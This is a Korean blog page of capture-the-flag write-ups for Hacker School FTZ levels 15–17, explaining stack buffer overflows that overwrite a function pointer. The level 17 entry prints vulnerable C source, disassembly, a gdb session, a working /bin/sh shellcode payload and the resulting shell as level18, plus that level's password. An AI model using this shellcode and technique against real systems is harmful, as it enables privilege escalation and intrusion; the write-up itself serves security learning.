Hackershcool level17 = )

 

해커스쿨 FTZ 레벨17 [BOF]

 

#include <stdio.h>

void printit() {

printf("Hello there!\n");

}

main()

{ int crap;

void (*call)()=printit;

char buf[20];

fgets(buf,48,stdin);

setreuid(3098,3098);

call();

}

 

17번 문제의 소스를 보면 fgets에 취약점이 존재하고 setreuid로 권한상승이 이뤄지고 있다.

 

0x080484a8 <main+0>:push%ebp

0x080484a9 <main+1>:mov%esp,%ebp

0x080484ab <main+3>:sub$0x38,%esp

0x080484ae <main+6>:movl$0x8048490,0xfffffff0(%ebp)

0x080484b5 <main+13>:sub$0x4,%esp

0x080484b8 <main+16>:pushl0x804967c

0x080484be <main+22>:push$0x30

0x080484c0 <main+24>:lea0xffffffc8(%ebp),%eax

0x080484c3 <main+27>:push%eax

0x080484c4 <main+28>:call0x8048350 <fgets>

0x080484c9 <main+33>:add$0x10,%esp

0x080484cc <main+36>:sub$0x8,%esp

0x080484cf <main+39>:push$0xc1a

0x080484d4 <main+44>:push$0xc1a

0x080484d9 <main+49>:call0x8048380 <setreuid>

0x080484de <main+54>:add$0x10,%esp

0x080484e1 <main+57>:mov0xfffffff0(%ebp),%eax

0x080484e4 <main+60>:call*%eax

0x080484e6 <main+62>:leave

0x080484e7 <main+63>:ret

 

disas main을 해보면 Buf의 크기는 0xffffffc8, 즉 ebp-38지점에서 문자열을 입력받고 있기때문에 56byte라는 것을 알 수 있다.

 

(gdb) x/x 0x8048490

0x8048490 <printit>:0x83e58955

 

main+6에서 0x8048490의 값을 확인해본 결과 printit함수의 시작 부분이라는 것을 알 수 있었고 이 주소를 ebp-16지점에서 함수의 주소를 저장하고 있다. 이 ebp-16의 주소를 다시 eax에 복사 후 eax에 저장된 주소를 포인터로 호출하고 있다. 따라서 printit함수의 주소가 들어간 ebp-16부분에서 쉘코드의 주소를 넣어주면 된다. 그렇다면 이제 ebp-16의 위치에 들어갈 쉘 코드가 어디에 입력되는지만 알아보면 될 것이다.

 

(gdb) b *main+33

Breakpoint 1 at 0x80484c9

(gdb) r

Starting program: /home/level17/attackme

AAAAAAAA

Breakpoint 1, 0x080484c9 in main ()

(gdb) x/x $eax

0xbffffae0:0x41414141

 

fgets함수의 다음 부분인 main+33지점에서 브레이크포인트를 걸고 eax의 값을 확인한 결과 입력한 값이 저장되는 주소를 확인할 수 있었다. 이제 저 지점에 쉘코드가 들어가게 되고 ebp-16에서는 0xbffffae0를 넣어주면 될 것이다.

 

ret

ebp

Buf = 56byte

쉘코드의 주소값 = bffffae0

Dummy = 15byte

Shell Code = 25byte

 

준비한 쉘코드는 프로그램에서 이미 권한상승이 이뤄지므로 기본적으로 쉘만 실행하는 코드로 준비했다.

따라서 다음과 같은 명령으로 Level18의 쉘을 얻을 수 있을 것이다.

 

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*15+"\xe0\xfa\xff\xbf"

 

whoami

level18

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it".







'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

Hackershcool level16 = )

 

해커스쿨 FTZ 레벨16 [BOF]

 

 

 

코드를 살펴보면 일단 쉘을 실행하는 함수와 printit이라는 함수가 있고 크기가 20인 배열과 취약점이 있는 fgets함수가 있다.

 

 

프로그램을 실행시켜보니 깔끔하게 printit함수를 출력시키고 끝나버린다. 하지만 printit함수가 아닌 shell함수의 주소가 들어간다면 쉘이 떨어지게 될 것이다.

 

 

메인함수에서는 아까와 같이 56byte의 공간을 할당해주고 있으며 ebp-16지점에서 eax에 값을 넣는 것을 볼 수 있는데 eax의 값에서 어떤 함수를 call해주고 있는 것을 볼 수 있다. 어떤 함수인지 알아보기 위해 main+39에 브레이크포인트를 걸고 eax의 값을 확인해보았다.

 

 

eax의 값은 0x8048500 주소에 있는 함수를 불러오는 것을 알 수 있다. 하지만 이미 프로그램 소스를 보았으니 이 코드는 printit함수라는 것을 추측할 수 있다. 

 

 

확인해보기 위하여 printit함수를 disas 시켜보니 역시 printit함수가 맞았고 이 주소 대신 shell함수의 주소를 넘겨줘야하므로 shell함수의 시작 주소도 확인해보았다.

 

 

Shell함수의 주소는 0x080484d0라는 것을 알 수 있고 이 값을 이제 ebp-16에 넣어주면 프로그램은 printit함수 대신 shell함수를 call 할 것이다. 따라서 다음과 같은 코드로 공격해보았다.

 

그 결과 성공적으로 쉘과 Level17의 패스워드를 얻을 수 있었다 = )

 






'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

Hackershcool level15 = )

 

해커스쿨 FTZ 레벨15 [BOF]

 

 

 

15번 문제는 14번 문제와 비슷하지만 check 변수에서 포인터를 이용하고 있다는 점이 다르다.

 

 

전체적으로는 14번문제와 비슷하지만 포인터를 사용하고 있기 때문에 이번에는 0xdeadbeef란 문자열 대신 0xdeadbeef를 가리키는 주소를 넣어주면 된다. 버퍼 중간에 deadbeef란 문자열을 넣어주고 ebp-16부분에 이 문자열을 가리키는 주소를 넣으면 되는것이다.

 

 

main+32에서 브레이크 포인트를 걸고 입력한 값들이 어디에 저장되는지 찾아보니 0xbffffae0에 값이 들어가는 것을 알 수 있다. 이 부분에 deadbeef라는 값이 들어가게 되고 ebp-16되는 지점에서는 이 부분을 가리켜주면 되는 것이다.

 

 

문제 풀이 방법이 조금씩 바뀌고 있지만 그래도 다음 레벨의 패스워드를 얻을 수 있었다 = )







'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

+ Recent posts

티스토리 툴바